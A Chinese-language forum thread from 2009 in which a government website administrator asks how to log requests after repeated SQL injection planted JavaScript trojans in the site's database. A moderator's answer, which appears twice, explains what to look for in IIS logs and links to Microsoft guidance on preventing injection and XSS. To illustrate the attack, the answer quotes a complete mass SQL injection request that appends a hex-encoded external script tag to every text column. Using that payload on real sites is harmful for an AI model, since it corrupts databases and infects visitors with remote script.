none
求助:如何记录网站中所有的操作... RRS feed

  • 问题

  •  

    最近网站老有黑客攻击,数据库被注入JS木马.

     

    但找不到原因,想通过什么方式查找出来漏洞,有没有什么办法能记录所有网站中的操作..

     

    只是IIS日志好像看不到,只能得到get的一些数据

     

    我想找到,至少能通过时间段分析出来,在这段时间,是因为哪些网页导致了数据库被注入.

     

    因为是政府网站,现在天天被有人恶意注入,求注啊...

    2009年1月20日 2:08

答案

  • 首先,你需要查看iis 的log文件,很多情况是通过GET注入的,比如类似这样的

    GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR

    其实就是在url后面加入了一段sql语句

     

    这种情况你需要检查你的程序了,代码写的不够严密

     

    再次,是通过POST注入的,做法也类似,提交一些sql语句或者其他代码,这种情况,你可以在Global.asax.cs文件里的void Application_BeginRequest(object sender, EventArgs e) 事件里记录提交的数据

    类似这样来得到数据

     

    http://bbs.zdnet.com.cn/thread-367934-1-3150.html

     

     

    再次,你可以看看一些asp.net安全和防止注入的文章,

     

    关于sql注入攻击,请参考

    http://msdn.microsoft.com/en-us/library/ms998271.aspx

    http://www.microsoft.com/China/smb/local/security/sql/default.aspx

     

    http://msdn.microsoft.com/zh-cn/magazine/cc163917(en-us).aspx

     

     

    关于XSS

     

    How To: Prevent Cross-Site Scripting in ASP.NET

     

    http://msdn.microsoft.com/en-us/library/ms998274.aspx

     

    Microsoft Anti-Cross Site Scripting Library V1.5

    http://msdn.microsoft.com/en-us/library/aa973813.aspx

    2009年1月20日 8:11
    版主

全部回复

  •  

    gloab文件中写还是在web.config中设置,我要详细记录所有访问网站的操作,怎么才能实现,请求给个方案...
    2009年1月20日 7:31
  • 首先,你需要查看iis 的log文件,很多情况是通过GET注入的,比如类似这样的

    GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR

    其实就是在url后面加入了一段sql语句

     

    这种情况你需要检查你的程序了,代码写的不够严密

     

    再次,是通过POST注入的,做法也类似,提交一些sql语句或者其他代码,这种情况,你可以在Global.asax.cs文件里的void Application_BeginRequest(object sender, EventArgs e) 事件里记录提交的数据

    类似这样来得到数据

     

    http://bbs.zdnet.com.cn/thread-367934-1-3150.html

     

     

    再次,你可以看看一些asp.net安全和防止注入的文章,

     

    关于sql注入攻击,请参考

    http://msdn.microsoft.com/en-us/library/ms998271.aspx

    http://www.microsoft.com/China/smb/local/security/sql/default.aspx

     

    http://msdn.microsoft.com/zh-cn/magazine/cc163917(en-us).aspx

     

     

    关于XSS

     

    How To: Prevent Cross-Site Scripting in ASP.NET

     

    http://msdn.microsoft.com/en-us/library/ms998274.aspx

     

    Microsoft Anti-Cross Site Scripting Library V1.5

    http://msdn.microsoft.com/en-us/library/aa973813.aspx

    2009年1月20日 8:11
    版主